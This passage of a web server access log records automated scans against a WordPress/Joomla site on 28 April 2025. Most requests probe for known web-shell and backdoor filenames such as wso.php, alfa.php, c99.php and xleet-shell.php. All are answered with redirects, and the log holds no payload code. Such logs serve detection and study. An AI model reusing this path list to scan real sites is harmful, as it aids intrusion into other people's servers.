52.164.187.81 - - [28/Apr/2025:12:26:25 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:28 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:30 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:33 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:35 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:35 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:37 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:38 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:40 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:41 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:43 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:43 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:46 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:47 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:48 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:50 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:50 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:51 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:54 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:57 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:59 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:00 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:02 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:04 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:06 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:07 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:09 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:11 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:12 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:14 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:15 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:15 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:16 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:18 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:20 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:25 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:28 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:31 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:34 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:38 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:40 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:41 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:44 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:46 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:47 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:51 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:52 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:55 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:56 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:57 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:58 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:27:58 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:00 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:01 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:02 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:04 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:04 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:06 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:07 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:09 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:10 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:10 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:11 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:12 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:14 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:15 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:16 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:17 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:18 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:19 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:22 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:23 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:24 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:27 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:29 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:31 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:33 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:35 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:36 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:37 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:40 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:42 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:44 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:46 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:47 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:49 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:50 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:51 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:53 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:55 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:58 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:28:59 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:01 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:02 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:03 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:05 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:06 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:07 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:07 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:09 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:09 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:10 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:11 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:14 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:15 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:16 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:16 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:17 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:19 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:20 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:20 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:21 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:22 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:23 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:28 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:28 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:30 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:32 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:34 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:35 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:37 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:38 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:39 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:42 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:43 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:44 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:45 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:47 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:48 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:50 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:52 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:54 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:55 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:56 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:58 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:29:58 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:00 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:01 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:02 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:04 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:04 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:06 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:07 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:07 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:09 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:11 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:13 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:15 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:20 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:21 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:24 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:26 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:27 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:28 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:30:29 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 38.170.77.79 - - [28/Apr/2025:13:49:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edge/44.18363.8131" 156.146.35.44 - - [28/Apr/2025:14:05:05 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 85.204.70.100 - - [28/Apr/2025:14:30:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 170.106.72.178 - - [28/Apr/2025:14:51:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 54.166.186.176 - - [28/Apr/2025:14:52:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 14.215.163.132 - - [28/Apr/2025:15:32:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 46.148.206.226 - - [28/Apr/2025:15:33:07 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 43.205.98.73 - - [28/Apr/2025:15:55:44 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [28/Apr/2025:15:55:46 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [28/Apr/2025:15:55:48 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [28/Apr/2025:15:55:49 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [28/Apr/2025:15:55:51 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [28/Apr/2025:15:55:52 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [28/Apr/2025:15:55:52 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [28/Apr/2025:15:55:53 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [28/Apr/2025:15:55:54 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.205.98.73 - - [28/Apr/2025:15:55:55 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.220.101.47 - - [28/Apr/2025:16:02:03 -0400] "GET / HTTP/1.1" 301 795 "designpitara.com" "Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" 170.106.192.208 - - [28/Apr/2025:16:59:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [28/Apr/2025:17:14:41 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:17:15:25 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:17:15:39 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:17:16:10 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.88.40.206 - - [28/Apr/2025:17:55:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:18:00:53 -0400] "GET /.well-known/pki-validation/wp-admin/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:01:28 -0400] "GET /.well-known/pki-validation/amaxx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:01:36 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:01:41 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:01:57 -0400] "GET /.well-known/pki-validation/ibkejxnu.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:01:58 -0400] "GET /.well-known/pki-validation/content.php.suspected HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:02:07 -0400] "GET /.well-known/pki-validation/wp-scripts.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:02:11 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:02:29 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:02:36 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:02:38 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:02:39 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:02:47 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:02:48 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:02:51 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:03:01 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:03:26 -0400] "GET /.well-known/pki-validation/LA.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:03:31 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:03:43 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:03:58 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:04:04 -0400] "GET /.well-known/pki-validation/101d2ae2-f2f3-4977-b35d-b3a0ad74a469.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:04:11 -0400] "GET /.well-known/pki-validation/mar.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:04:21 -0400] "GET /.well-known/pki-validation/ckyocyyp.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:04:25 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:04:32 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:04:50 -0400] "GET /.well-known/pki-validation/a.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:04:57 -0400] "GET /.well-known/pki-validation/Newsupway.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - 